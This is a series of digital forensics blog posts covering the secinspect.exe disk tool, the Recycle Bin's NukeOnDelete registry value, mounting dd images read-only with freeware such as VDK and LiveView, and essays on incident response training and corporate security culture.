One interesting tool I ran across recently on HogFly's ForensicIR blog is something new from Microsoft called "Sector Inspector". Secinspect.exe is a command line tool (ie, great for IR and live response!!) that lets the sysadmin view things such as a list of physical devices, drive geometries, disk signature and volume serial number, etc. Now much of this is available through WMI classes such as Win32_PhysicalMedia, but secinspect.exe may be much easier for many folks to use, particularly if you want to include it as part of your drive documentation process (ie, hook up a drive to your write-blocker and then collect data on it using secinspect.exe prior to or immediately after acquiring an image).

An excerpt of what secinspect.exe collected when run on my own system:

Target - \\.\PHYSICALDRIVE1
14593 Cylinders
255 Heads
63 Sectors Per Track
512 BytesPerSector
12 MediaType
[snip]
Disk Signature 0x96244465

Also, for each partition, you see information such as:

SerialNumber : 10675897970943624920

Note: You can also use this with USB thumb drives.

Cool stuff!

Using Perl in Forensics

Ever wondered how some folks use Perl in their jobs, particularly when performing computer forensic analysis? I'm always interested to see who folks use Perl particularly because I use it so much.

I ran across a Perl script for extracting Time Zone Information from an image recently from Citadel Systems. Interestingly enough, it uses my own Offline Registry Parser (regp.pl), which is available on the DVD with my book as well as on my SourceForge.net site.

Pretty cool, eh? I think that its nice to get this kind of feedback...that someone found something you wrote to be useful enough to use it or replicate it.

Book updates - NukeOnDelete and SysProt AntiRootkit

Now that my book is available, I'll be posting things like updates and errata here in the blog.

As I mentioned before, one of chapters in the book addresses alternative analysis methods, and mentions the use of Mount Image Pro to mount the image as a read-only file system. I see this as a great opportunity for analysis for several different reasons...malware scanning, etc.

One of the things that didn't make it into the Registry Analysis chapter was a Registry key that controls the Recycle Bin. The following key is the one in question:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
\CurrentVersion\Explorer\BitBucket

If there is a value beneath this key named "NukeOnDelete" (DWORD) and the value is set to "1", then the Recycle Bin on the system is effectively disabled. This value isn't there by default, it must be added.

So how would we use this information in our analysis? Well, first off, just the fact that the value was added may indicate that (a) the user is sophisticated, or that (b) the user has used one of the privacy tools available on the Internet (we can correlate this to other data, as well).

Next, notice that the key is in the HKEY_LOCAL_MACHINE hive, meaning that it applies to the entire system, rather than just a single user. This doesn't mean that you should expect to see the Recycle Bin for each user (in the case of more than one user) empty, with a really small INFO2 (my book includes code for parsing the INFO2 file) file. Had the value been set after a user had sent files to their Recycle Bin, that INFO2 file should still contain the entries. We can then corrrelate those dates and times with the LastWrite time on the Registry key to determine approximately when the key was modified.

Okay, so does disabling the Recycle Bin slow down a forensic examiner? Not any more! We all know that deleted files aren't really gone.

Another update that I need to add for Chapter 7, Rootkits and Rootkit Detection is SysProt AntiRootkit. This one wasn't out before the book/chapter went to production, so I didn't have time to add it, but it's definitely worth looking at and adding to your toolkit.

One of the core concepts of my book is that by understanding how artifacts are created and modified, we see that the absence of an artifact where we expect to see one is, in itself, an artifact. Checking for this value and then correlating what you find to other findings on the system will provide clues not only to what happened on the system and when, but also to the technical sophistication of the user.

One final word...the book includes a DVD that contains an updated copy of my Registry spreadsheet, which contains several worksheets that list Registry keys and values of interest, why they are interesting for forensic analyists, and references to their function (where applicable). Be sure to add this one to your copy of the spreadsheet.

"Windows Forensic Analysis" is now available!

My new book, Windows Forensic Analysis, is now available! Go here to purchase the ebook now. Go here for Amazon pre-order.

While I was writing the book, I reached out to the community and tried to get input on the types of things others would like to see in a book like this. A lot of the responses I got back didn't have anything to do with Windows, and some didn't even have anything to do with forensic analysis. Since I've finished the book, I've been able to get my head out of the trenches and think about things for a bit, and I already see avenues for improvement and additions to the book, or at least to the material itself.

For example, by combining the material in the chapters on Windows memory analysis, Registry analysis, and file analysis, and then stirring in a little imagination, you may be able to come up with some effective methods to disprove the "Trojan Defense", as well as some counter-anti-forensics techniques.

Please feel free to send me any comments, thoughts, questions, or criticisms you have about the book. Any additional information about the material in the book will most likely be posted here first.

Teaching IR/CF

My recent post on mounting a dd image got me thinking that there are plenty of freeware tools available for performing incident response as well as computer forensic analysis. Given this, how cool would it be to teach high school kids computer forensic techniques? Or, if you added something like this to the curriculum, you could easily add another course or two to a community college or undergraduate degree program.

Let's say that all you have avaible is a couple of systems. You can easily set up a "lab" with these systems, and then with minimal cost, add some external drives for storing images. There's plenty of free software available for acquiring and analyzing images, even if you're restricted to a particular platform.

I think that one of the benefits of this is that at the end of the program you'd have folks who had experience with different situations, different tools, and actually had to think through their approach to collection and analysis, not simply clicked a button.

Change Analysis Diagnostic Tool for Windows XP

Microsoft recently released this KB article, titled The Change Analysis Diagnostic Tool for Windows XP is available.

So, why is this interesting? Bear with me for just a moment. Reading the article, we see that the tool looks at programs, OS components, BHOs, drivers, ActiveX controls, and ASEPs (MS's term for autostart locations). Okay, so not entirely interesting, per se...there are tools that already do this, I know. However, the really interesting part is this:

The Change Analysis Diagnostic tool queries the System Restore data for the number of days that the user selects. The tool finds the changes to the registry and to the file system that are relevant to these categories. Then, the tool presents the changes together with contextual information.

Is that sweet or what? Tools like this generally require a baseline, such as when we're performing dynamic malware analysis (ie, snapshot the system, install malware, snapshot the system again, and compare the two). In this case, MS is using the Restore Points as the snapshots. Makes me glad that I took the time to address Restore Point analysis in my book!

Why current IR models don't work, part deux

As a follow-up to my previous post, I thought of another way to (hopefully) shed some light on this issue.

Sometimes, we (forensics weenies such as myself) like to illustrate technical points with real/analog world analogies. As some of you may know, one of my favorites is the stabbing victim you find in an alleyway, and call 911...the EMTs (incident responders) arrive, triage the victim, stabilize and move him, etc. The cops are ultimately able to locate the perpetrator of the crime, and he can be convicted, even given the fact that the victim was moved, etc. Using the traditional, purist CF model, a doctor would have to kill the victim on the scene and perform an autopsy in order to catch the bad guy.

Let's take a look at a similar analogy for IR, using real-world crime as an example. Say that an office building is a network infrastructure, and within that building is are file cabinets that contains sensitive data. The office building has doors, windows, elevators, roof access, etc., just like a normal office building...these are akin to access points to the network infrastructure.

Let's say that during the night, someone breaks into the building and attempts to steal some of the sensitive data kept there. What happens in the real/analog world? Usually, if there were no alarms, then someone notices something when they get into work the next day (or you hope that they do, anyway) and alerts security, who calls the local police (ie, first responders). Access to the area is immediately restricted, and an "incident response" plan of some kind kicks in...eventually a report is produced, and the perpetrators may be caught. If the folks who owned the building or occupied the office spaces actually made it difficult for someone to break in (by locking doors, using additional levels of access control, etc.) or monitored the area (video cameras, etc.) then there would be more evidence available for the police to review, and it would be more likely that the bad guy would be caught.

So, what does this have to do with anything? Well, here are some of what usually happens in today's digital realm, mapped to the real world:

1. Many buildings have no restrictions to access...doors (front, loading dock, etc.) are all open and unmonitored. First and second floor windows are open for convenience, to make it easier for employees (users) to come and go (yes, I've actually seen employees climb out first floor windows to avoid being seen leaving by their boss). There is usually a back door that's propped open. Access via adjacent buildings and even the roof is very often unfettered.

2. Bad guys get into the building at all hours, even during regular working hours. They come in through the front door, loading dock entrance, etc. They aren't challenged or even noticed. They lock/unlock doors, clog toilets, and generally make a nuisance of themselves. Many times, they are there for several months, taking files, sitting at employee's workstations, etc., and no one seems to notice or even respond.

3. When someone does notice that a bad guy is or has been there, the usual approach is that one of the employees does not alert anyone, and tries to investigate the situation themselves. As they have no training in this sort of thing (or did receive training, but have not used it, or been required to keep that training current), their investigation misses a lot of very basic stuff, like footprints, fingerprints, etc., and a lot of obvious stuff (contents of file cabinets and storage closets thrown all over the room, etc.). This may go on for weeks or even months, and when someone finally does call the police, there's been no record of who did what, what was found and when, and there may even have been broken doors and windows replaced.

Does any of this make any sense in the real world? Probably not. So why do we see this so often in the digital realm?

So, I then have to ask, is there any reason why IT staffs cannot be trained in first response, providing a tier 1 response capability? Basically, tier 1 IR is akin to advanced troubleshooting. Corporations would pay a nominal fee to have experts come on-site and train their IT staff in basic IR procedures, raising the level of their awareness and expanding their skill sets. The IT staff would realize the benefit of things like network diagrams, troubleshooting and IR procedures, etc (which, by the way, are required by most regulatory bodies, including FISMA and Visa PCI). They would then be able to handle first level/tier 1 response. Then, if additional assistance is required, reach out to those experts for tier 2 and/or 3 response, but only when needed. The flip side is that corporations end up paying much, much more because the first responders are called for every apparent "incident" that occurs; they resolve the situation, provide a report, and go back to wait for the next call...but no knowledge transfer occurs and the "victim" is no better off than they were before the "incident" occurred.

Another benefit of having that on-site, functional, hands-on training and producing things like network diagrams is that the IT staff gets to "know" their network. By working through scenarios ahead of time, network administrators learn what the important pieces of network- and host-based information are that they are interested in when investigating an incident. Sometimes just asking the question of "what systems store or process sensitive data?" during training evolutions is much more beneficial than asking that same question after someone has p0wned the box and carted that data off.

Current IR models don't work because we don't spend enough time looking at what works in the real world and mapping that same sort of mechanism into the digital realm.

Mounting a DD image

One of the things I mentioned in my new book was an alternative analysis method for performing computer forensic analysis. I specifically mentioned the use of Mount Image Pro for mounting a dd image as a read-only file structure, which opens up some areas of analysis that many may benefit from using. For example, during an intrusion case, one thing you may want to do is scan the image with AV software. This may save you a great deal of time trying to locate hacker tools by hand. Also, this is something you may want to do when you may be faced with the "Trojan Defense".

Another thought/useful option is this - we all have things that we look for everytime we open an acquired image of a Windows system, and there are other things that we look for on a case-by-case basis. Most often we do this through our forensic analysis software package, such as ProDiscover or EnCase. However, even though these packages ship with scripts to do some initial data collection and parsing for us, sometimes, they aren't as complete as they could be, or we'd like them to be, and it takes forever to get scripts updated because the few folks that actually write their own scripts are busy with other things. Sometimes you may be in a rush or under pressure, and may forget something that you would normally look for. So what if we had a script or a tool that would run through an image, pulling things out for us each time...all automated so that we wouldn't have to remember all of the different places could look, but at the same time, its all documented? Say, the tool would check to see if the Recycle Bin had been disabled, and then move on to parsing the INFO2 file for one user, or all users. Or, the tool would collect the audit policy from the system, check the Registry entries for the Event Logs, and then collect statistics from the Event Log files themselves, or automatically parse the Event Log files to .csv format (or both). Would that be useful?

Another use of something like this is for forensic analysis training. Mounting the image as a drive letter lets you dig into aspects of forensic analysis that while accessible via commercial forensic analysis applications, may be somewhat easier to grasp and work with, particularly for new students, or junior members of an IR/CF team or CSIRT.

Okay, so now, how do we do this? How do we start with just a dd image, and get to a read-only drive letter (ie., F:\, G:\) so that we can point an AV scanner or some other tool at it?

To get the dd image to begin with, you can use ProDiscover, Helix, straight dd, or even FTK Imager Lite. If you're using ProDiscover, you can use the Tools -> Image Conversion Tools -> VMWare Support for DD Images... option to create the necessary .vmdk file.

Another option for creating the .vmdk file is to use LiveView. Point LiveView at the dd image, choose "Generate Config Only" in the GUI (maybe even designate the OS rather than having LiveView guess it) and you'll end up with several files, to include two .vmdk files and a snapshot. LiveView makes use of the VMWare DiskMount utility (don't forget the free VMPlayer), and even though this does not mount the image as a read-only file structure, you can set the read attribute on the image file itself (attrib +r imagefile) as a precaution. Use the vmware-mount.exe to mount the snapshot (imagefile-000001.vmdk)and all of the writes will end up in the snapshot.

Another option is to look at FileDisk. From the screenshot, FileDisk appears to have a read-only (/ro) option. I haven't tried this one yet...installation requires a reboot for the driver to be installed. However, FileDisk will also let you mount ISOs as CDs using the "/cd" switch.

Once you have your .vmdk file, take a look at VDK and VDKWin (scroll down to VDKWin). VDK gives you the .exe and .sys file for mounting image files as read-only file structures (according to the credits, VDK owes a great deal to FileDisk), and VDKWin gives you a GUI for managing it all. A nice thing I noticed about VDKWin is that it's simply a GUI for managing all of the command line switches in VDK. For example, let's say you image a Dell system that wasn't reformatted before being installed, and it has one of those Dell maintenance partitions at the beginning of the physical drive. VDK lets you list available partitions, and then select the one you want to mount. Rememer, when you grab VDKWin, don't forget to also get the core files from the top of the page.

I did test this out using a sample image. I started with the ProDiscover solution, and launched the .vmdk file via VDKWin with no problems. I tried LiveView, and though the DiskMount (vmware-mount.exe) approach worked fine, VDKWin balked at an "unknown extent type". The extent description section of the LiveView .vmdk file had two lines...simply deleting the second one caused VDKWin to hang. So, I removed the second line, and added the size entry to the first line, in essence replicating what I found in the .vmdk file produced by ProDiscover, and then everything worked just fine.

One caveat: I already have VMWare installed on my system...I read in a Google News post somewhere that in order to use some of these tools, you may need to have VMPlayer or one of the VMWare products installed, as the tools may use some of the DLLs. Just be aware of this if this is an avenue you're going to take.

So, what we're left with is a Windows-based solution, using freeware tools, to obtain an image, and then mount that image as a read-only file structure, for analysis. Many of the tools on the DVD that comes with my book, such as SAMParse, are designed to be run against raw Registry files and are perfect for use with this methodology. Sweet!

Addendum: I have an image that was created using FTK Imager Lite, broken into 2GB chunks. I opened the image in ProDiscover using the PDS file format, and started my analysis. Last night, I used the ProDiscover capability for creating .vmdk files ("VMWare support for DD images...") to create the .vmdk file by pointing the tool at the .pds file. Then, I installed VDK and VDKWin, but not any of the other VMWare tools. After setting the read-only bit on all of the image files (attrib +h), I ran VDKWin and successfully mounted the image as the K:\ drive, in read-only mode.

Even though I use a fully licensed version of ProDiscover IR, ProDiscover Basic is free (as in beer) and includes the ability to create the .vmdk files.

Why current IR models don't work

A while ago, a buddy of mine was on travel, leaving his family at home. He called home from the airport whilst awaiting a flight and got some interesting news. He'd winterized their house several months earlier, which included shutting off the hose bibs from inside the house and purging the water from the pipes so they didn't freeze and burst. Well, about 36 hours prior to his call, there had been a need to run water from the faucet on the back of the house, so his wife had turned the hose bib on. However, being unfamiliar with all of the pipes and everything running through the closet, she'd also accidently turned off the gas to the house, which caused all of the pilot lights (on the gas range, in the gas fireplaces, and for the water heater) to go out. Listening to this, my friend started asking questions of his wife, many of which were answered "I don't know".

Listening to him tell this story, it became clear what his concerns were, but I wanted to hear it from him. While his wife was saying, "honey, you're going to come home from a long flight with several stops, layovers, and delays and not have any hot water to shower...sorry", he was hearing that there were possibly places in the house where gas could be seeping into the house. Thankfully, the gas used in homes smells, so it can be detected, but if the source is in an enclosed room...you see where I'm going with this.

I thought about this for a bit while I was running the other day, and it occurred to me that this almost exactly mirrors current incident response models. I know, I know...bear with me here. Consider the wife in this story to be the CEO (hey, don't we all???), and my friend his a CISO or security admin. The kids and pets are the staff. In this case, we have an "incident"...the gas coming into the house was shut off long enough to cause the pilot lights to go out. The CEO, based on her sphere of perception, understands the issue to be one of inconvenience...lack of hot water means no hot shower. She feels that they can wait until my buddy gets home to deal with it. However, my friend sees an even bigger "threat"...not only to property (ie, his house) but more importantly, to the health and safety of his family (corporate officers failing to accurately identify critical assets).

In response to this, my friend decided to embark on a training and educational approach to changing the "corporate culture" of his family to be even more cognizant of the issues and potential impacts of such incidents. In part, this is where the story takes a turn and ends differently from what happens in business (corporate, government, etc.) organizations today.

So how does all this apply to these business organizations? Look around...or look here. It's quite a long list, but see any duplicates, either in what reportedly occurred, or in the name of the organization?

So, how do we fix this, you ask? Glad you asked!! Apparently, security overall (and not just IR) is something that is not part of the "corporate culture" of many organizations. Responding to incidents often times gets me nothing but blank stares when I ask questions about the status of systems, where systems are "located" in relation to each other, etc. That's nothing unusual.

Speaking of "corporate culture", when I was in the Marine Corps, we had a corporate culture, one that was easy to remember - "every Marine a rifleman." Basically, what that meant was that every single Marine, officer or enlisted, must be qualified in care, feeding, and effective and deadly use of the M-16 rifle. Every Marine received training in its use, and had to go through annual requalification. The same was true for officers...up through the rank of Captain, every officer had to qualify annually with the M-16 as well as their own TO weapon, the M-9. But this wasn't all we did...this was part of the many things we did, but it was part of our corporate culture. I believe this served us well in many incidents, particular in Iraq, where the "front lines" were often right in front of you, and it didn't matter if you were an infantry Marine or a cook or a Motor T driver.

My point is that we can talk about IR all day long, but things won't change unless someone with the ability to change the corporate culture does so. Everyone, particularly the IT staff, needs to be more security conscious, and be more familiar with the assets their protecting. What are the critical assets of the company, as defined by the CEO? How does an IT admin's job of maintaining servers and systems relate to accomlishing the mission of protecting those assets?

Also, consider this...in the military, everyone's trained in "immediate actions". If an M-16 jams, every Marine knows the immediate actions to perform to get that weapon back into service. Marines on patrol know that if caught in a near ambush, then the response is to attack the source of the ambush, immediately and with maximum violence. Consider this...why can't the IT staff be trained in "immediate actions", as well? If unusual traffic is seen on the network or anomolous behavior appears on a system, there are things that the IT staff can do immediately to identify the issue. There are other things that they can do in order to quickly address the situation.

It all starts with a top-down approach to the corporate culture. From there, IT staffs need to receive training...functional, hands-on training that applies to the systems they work with every day. Going away to Linux-centric training for someone in an all- or predominantly-Windows shop is a waste of time and money. There needs to be core, central set of knowledge and training that every IT staff member receives and is responsible for knowing...in the Marines, every officer, be they a pilot, a communicator, or a supply officer, goes through the same training at The Basic School. From there, certain members of the IT staff should receive specific training based on their areas of responsibility, be they routers, firewalls, servers, applications, etc. They need to understand these areas and systems inside-out, in much the same way a Marine can field strip, clean, and reassemble the M-16.

So, if you're reading all this and you're not someone in the IR business, you're probably thinking, "oh, he's just saying this so that he can get our money." No, I'm saying this so that you don't loose my data...my SSN, my credit card number, etc. Or my wife's. Or, several years from now, my daughter's or my niece's and nephew's. We see it in the media all the time, with these high profile "hacks" involving someone breaking in and stealing data, or sensitive personal information being lost. Or critical applications and systems being taken over, compromised, and p0wned. These incidents are no longer the result of joy riders on the Information Superhighway...that ended a while ago. There is a profit motive behind this...these crimes are being committed because there is money involved. There needs to be a shift in the corporate culture such that this data is better protected, and when something does happen, the response is something more than paralysis. What would you do if you had a fire in your home? Would you evacuate your family, and if the fire were small and isolated enough, would you attempt to put it out? Would you call the fire department? Dumb questions, I know...but when incidents are occurring today, many corporate cultures make it okay to ignore the situation and simply go back to sleep. Worse, the situation is recognized as something unusual, but everyone is paralyzed, and the fire department gets called only after the house has burned down.

Thoughts?

Thoughts on Incident Response/Management

Others have recently posted their thoughts on incidents and incident response (1, 2), and since this is an IR blog, of sorts, I thought I'd throw my hat into the ring, as well.

I don't really have a list of thoughts on IR, per se...its more a case of one thought from which all others spring. Basically, that is that organizations really need to start taking a proactive approach to Incident Response and Incident Management.

Incidents are going to happen. We can take that as a given. The days of joy-riding on the Information Superhighway are about over...there's simply too strong a profit motive these days. Why get a copy of BO2K onto a system and open and close the user's "cup holder", when you can quietly collect the contents of Protected Storage, capture keystrokes as the user logs into his online banking site, etc.

So what do you do? Well, first off, senior management needs to take this "security thing" seriously and treat it like a business process, not an ad hoc thing that you scramble to implement when you need it, and then drop it (cut the budget) when you don't. Walk around headquarters one day and look at the finance department...or marketing...or Ops. HR. All of these are business processes that you need to run a successful company. But how did you know that? Did someone tell you? Or did you suddenly see the need? Either way, people have been saying for years that you need to have security, and if you don't recognize the need simply by reading the paper everyday...

At some point, someone's going to throw up their hands, throw a huge budget at security, hire a bunch of (the wrong) people, and then proclaim security a failure. It doesn't work! Sound familiar? Is that how you would run your Finance Department? How about Payroll?

This security thing is really simple. Start by looking at your assets...what are you trying to protect? Is it sensitive personal data (a la CA SB1386)? Are we talking about critical systems, applications, or data...or some combination?

Once you've identified the assets, look at the threats. But keep in mind that this is no longer seige warfare, where you watch in wonder while barbarians pound at your gates...or your firewall. We're well into what the United States Marine Corps refers to as "manuever warfare". We're facing a battle with no defined front lines; ingress points include web browsers, rogue WAPs, etc. Have an assessment done, and if the result is "pay us a ton of money to fix it", then you may need to ask for your money back! In all infrastructures, there are things that can be done that don't cost money, but do have an inherent cost...things like cultural and political changes, changes in how you do things (ie, communal Admin/root accounts, etc.).

Train your people and hold them accountable. You're not going to hire an IR staff and keep them in a room with "break glass in case of emergency" written on the door. However, a great deal can be accomplished by training your current staff in how to manage and respond to incidents. Designate some personnel as incident responders, with a suitable manager, and get them some training. Even if they are familiar with handling some incidents, the best training is functional and hands-on. Have regular refresher training in the form of incident response exercises...maybe even coordinate that with an unannounced pen test.

In fact, here's a great way to go about the whole thing. Get your folks the training they need to be tier 1 incident responders. This means that there are come tasks that they'll be able to handle, like EMTs. Then, seek out a professional response firm, and keep them on retainer so that they're available should you call, and then can be on-scene and paid on a per-incident basis. This kind of approach has is a win-win, particularly if the professional responders are the ones who are training and working with your team...they get to know and trust each other, and there's a great deal of knowledge transfer that goes on.

Where this kind of thing breaks down is when the responders are held accountable for something, and senior management isn't. Security (in general) and incident response are business processes, folks, and need to be thought of and treated that way.

BTW, one of the links in the first line of this post is to a fairly new blog: ForensicIR. Welcome aboard!

Forensic Challenges

Whenever something new comes out, one of the things people in particular fields ask is, how will this affect us and what we do? This is especially true in our field. With the recent release of new technologies, not the least of which is Vista, lots of folks have been asking about the challenges to digital forensics these new technologies will pose.

Thinking about this, I would suggest that the challenges don't come from "new" technologies being introduced, but rather from our community's myopic point of view.

I know what you're thinking...what did he just say? Well, I'm suggesting that new technologies...increased storage capacities, increased sophistication in cybercrime, new operating systems, etc...aren't imposing the "challenges" we think they are...we are. As a community, we're limiting ourselves, and imposing these challenges on ourselves somewhat artificially.

Rather than trying to describe my reasoning, let's look at a couple of examples. First, increased storage capacity...newer, smaller hard drives with greater capacity make things like iPods and cell phones that do everything for you possible. However, this is something that the forensic community has been dealing with for some time. This is not a 'new' challenge at all. The same holds true with new technologies, like Vista. New operating systems have been coming out all the time...at one time, Windows NT 4.0 was "new" (heck, even I remember that!).

What about drive encryption? Is this particularly a "new" challenge? Encryption has been around for a while, and we have to deal with encrypted files all the time. With freeware encryption for files, and even commercial products, it's not unusual to have to deal with such things. Those of us that haven't had to deal with such things specifically need to keep some knowledge of what to do, an "SOP", if you will, in mind in case we do encounter these things.

IMHO, the real challenges to the digital forensic community are largely self-imposed. New technology doesn't necessarily impose new challenges on the community, as the introduction of "new" technologies is almost a steady-state in this industry, isn't it? DOS led to Windows 3.1 and OS/2, which led to Windows 95 and NT 3.51/4.0, etc., etc. Storage capacity has increased over time. New devices have been introduced. There's really no "challenge" in this, per se...simply wait until someone produces a product to deal with the "new" technology, and things continue as before.

It appears that the real challenge is incorporating new ways of doing things, such as live response. Now, we won't always have the opportunity to employ live response, as not all of us have the benefit of talking to the "victim" prior to them taking some action on the affected system(s), but live response is one of those things that flies in the face of the traditional (dare I say "purist") approach to computer/digital forensics. However, live response can do a great deal to help us solve some of the other perceived challenges, if we can change the mindsets of the major players in the community. From there, this mindset change will permeate the minds of others...corporate IT, lawyers, etc.

What challenges do you see?